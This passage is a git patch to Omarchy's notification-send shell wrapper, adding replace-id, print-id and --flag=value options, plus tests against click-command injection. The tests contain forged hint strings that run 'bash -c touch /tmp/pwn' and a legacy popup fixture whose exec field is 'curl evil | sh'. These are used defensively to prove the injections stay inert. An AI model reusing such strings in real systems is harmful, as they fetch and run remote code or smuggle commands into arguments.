is now kept as body text rather than erroring, and --exec "" is rejected. Add a fixture proving the deliberate upgrade behavior: a popup persisted by a pre-upgrade shell with a legacy `exec` shell string restores with an inert click (execArgv empty, the old string never run) rather than executing it. --- bin/omarchy-notification-send | 139 +++++++++++++++---------- test/shell.d/notification-send-test.sh | 66 ++++++++++-- test/shell.d/notifications-test.sh | 13 +++ 3 files changed, 152 insertions(+), 66 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 57f94396..9e7fd049 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]] +# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -14,67 +14,72 @@ app_name="omarchy-action" app_icon="" image= expire_timeout=-1 +replaces_id=0 +print_id=0 exec_args=() exec_present=0 parsed_option_args=0 usage() { - echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]]" >&2 + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]]" >&2 } -need_value() { - if (($1 < 2)); then - echo "Missing value for $2" >&2 +# Recognize a known option, in both `--flag value` and `--flag=value` forms. +# Returns 1 for anything unrecognized so the caller can decide (headline, or a +# hard error in option position). +parse_omarchy_option() { + local opt val nargs + if [[ $1 == --?*=* ]]; then + opt=${1%%=*} + val=${1#*=} + nargs=1 + else + opt=$1 + val=${2-} + nargs=2 + fi + + # -p/--print-id is a flag; it takes no value. + if [[ $opt == -p || $opt == --print-id ]]; then + print_id=1 + parsed_option_args=1 + return 0 + fi + + case $opt in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;; + *) return 1 ;; + esac + + if ((nargs == 2)) && (($# < 2)); then + echo "Missing value for $opt" >&2 exit 1 fi -} -parse_omarchy_option() { - case $1 in - -g | --glyph) - need_value $# "$1" - glyph=$2 - parsed_option_args=2 - return 0 - ;; - -u | --urgency) - need_value $# "$1" - urgency="$2" - parsed_option_args=2 - return 0 - ;; - --app-name) - need_value $# "$1" - app_name=$2 - parsed_option_args=2 - return 0 - ;; - -i | --icon) - need_value $# "$1" - app_icon=$2 - parsed_option_args=2 - return 0 + case $opt in + -g | --glyph) glyph=$val ;; + -u | --urgency) urgency=$val ;; + --app-name) app_name=$val ;; + -i | --icon) app_icon=$val ;; + --image) image=$val ;; + -r | --replace-id) + [[ $val =~ ^[0-9]+$ ]] || { + echo "Invalid $opt value (numeric id expected): $val" >&2 + exit 1 + } + replaces_id=$val ;; -t | --expire-time) - need_value $# "$1" - if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then - expire_timeout=$2 - else - echo "Invalid $1 value (milliseconds expected): $2" >&2 + [[ $val =~ ^-?[0-9]+$ ]] || { + echo "Invalid $opt value (milliseconds expected): $val" >&2 exit 1 - fi - parsed_option_args=2 - return 0 - ;; - --image) - need_value $# "$1" - image=$2 - parsed_option_args=2 - return 0 + } + expire_timeout=$val ;; esac - return 1 + parsed_option_args=$nargs + return 0 } while (($# > 0)); do @@ -93,7 +98,18 @@ fi headline=$1 shift -if (($# > 0)) && [[ $1 != -* ]]; then +# The description is the next positional, taken as text even when it begins with +# a dash — a body like "-50% off" or a negative number is content, not options. +# Only a recognized option flag or --exec in that slot is not the description. +known_flag() { + case $1 in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;; + --glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;; + esac + return 1 +} + +if (($# > 0)) && ! known_flag "$1"; then description=$1 shift fi @@ -144,7 +160,7 @@ if [[ -n $image ]]; then fi if ((exec_present)); then - if ((${#exec_args[@]} == 0)); then + if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then echo "--exec needs a command: --exec [args...]" >&2 exit 1 fi @@ -174,11 +190,22 @@ hint_count=$((${#hints[@]} / 3)) # omarchy-exec-argv is set only from --exec. # # Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, -# actions (empty), hints, expire_timeout. -busctl --user -- call \ - org.freedesktop.Notifications /org/freedesktop/Notifications \ - org.freedesktop.Notifications Notify susssasa{sv}i \ - "$app_name" 0 "$app_icon" "$headline" "$description" \ - 0 \ - "$hint_count" "${hints[@]}" \ - "$expire_timeout" >/dev/null +# actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast +# in place; -p prints the returned id so a caller can reuse it. +notify_cmd=( + busctl --user -- call + org.freedesktop.Notifications /org/freedesktop/Notifications + org.freedesktop.Notifications Notify susssasa{sv}i + "$app_name" "$replaces_id" "$app_icon" "$headline" "$description" + 0 + "$hint_count" "${hints[@]}" + "$expire_timeout" +) + +if ((print_id)); then + # busctl prints the UINT32 return as "u "; emit just the id. + out=$("${notify_cmd[@]}") + printf '%s\n' "${out##* }" +else + "${notify_cmd[@]}" >/dev/null +fi diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 2f4d531c..37d29675 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -9,10 +9,12 @@ trap 'rm -rf "$tmpdir"' EXIT args_file="$tmpdir/args" -# Stub the D-Bus transport and record the Notify call verbatim. +# Stub the D-Bus transport: record the Notify call verbatim and echo a returned +# id the way busctl prints a UINT32 return ("u "). printf '%s\n' \ '#!/bin/bash' \ 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ + 'echo "u 42"' \ >"$tmpdir/busctl" chmod +x "$tmpdir/busctl" @@ -66,6 +68,24 @@ pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, [[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" pass "notification wrapper never invokes notify-send" +# Replace-in-place: -p prints the returned id, -r reuses it (the display text +# size toast refreshes one notification instead of stacking a pile). +returned_id=$(send "Restart Foot" -p) +[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id" +: >"$args_file" +send -r 42 "Restart Foot" >/dev/null +load +[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}" +pass "notification wrapper supports -p (print id) and -r (replace id)" + +# The --flag=value form works too (the acceptance suite uses --expire-time=15000). +: >"$args_file" +send "Acceptance" "Body" --expire-time=15000 >/dev/null +load +[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}" +[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}" +pass "notification wrapper accepts the --flag=value form" + # ---------------------------------------------------------------- no click cmd : >"$args_file" send "Plain" >/dev/null @@ -100,19 +120,24 @@ has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click [[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" pass "a forged click hint in the headline is inert summary text" -# A dash-leading forged hint in description position is refused outright. +# A forged hint in description position is inert body text — a typed D-Bus +# parameter that can never become a hint — not a click command. : >"$args_file" -if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then - fail "a forged-hint description must be refused" -fi -[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint" -pass "a forged click hint in the description is refused" +send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command" +[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}" +pass "a forged click hint in the description is inert body text" -# An unknown option is a hard error, not a silent pass-through. -if send "Head" --bogus 2>/dev/null; then +# A forged hint that reaches the trailing option position is refused: an unknown +# option is a hard error, not a silent pass-through. +if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then + fail "a forged hint in option position must be refused" +fi +if send "Head" "Body" --bogus 2>/dev/null; then fail "notification wrapper rejects an unknown option" fi -pass "notification wrapper rejects an unknown option" +pass "notification wrapper rejects an unknown option (including a forged hint in option position)" # ---------------------------------------------------------------- --exec guards # --exec is recognized only after the positionals: a headline literally "--exec" @@ -136,3 +161,24 @@ if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" + +# --exec with a single empty argument is rejected too. +if send "Head" --exec "" 2>/dev/null; then + fail "notification wrapper rejects --exec with an empty program" +fi +pass "notification wrapper rejects --exec with an empty program" + +# A description that begins with a dash is content, not options: a price, a +# negative number, a diff line. It must reach the body, not error out. +: >"$args_file" +send "Sale" "-50% off today" >/dev/null +load +[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}" +pass "notification wrapper keeps a dash-leading description as the body" + +# But a known flag in the description slot is still an option, not the body. +: >"$args_file" +send "Timed" -t 3000 >/dev/null +load +[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}" +pass "notification wrapper still treats a known flag after the headline as an option" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 4a0c7edf..58a4e32a 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -412,6 +412,19 @@ assertEqual( 'notifications keep the click argv on history rows' ) +// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its +// click action as an `exec` shell string. After the update-triggered shell +// restart the new shell only honors execArgv, so a restored legacy popup keeps +// displaying but its click is inert — deliberately, because splitting the old +// shell string back into a command is exactly the injection being removed. +const legacyRestored = notifications.parsePopupFiles( + JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }), + 1 +)[0] +assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv') +assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field') +assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action') + const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') assert( /readonly property int historyLimit: 10/.test(serviceQml),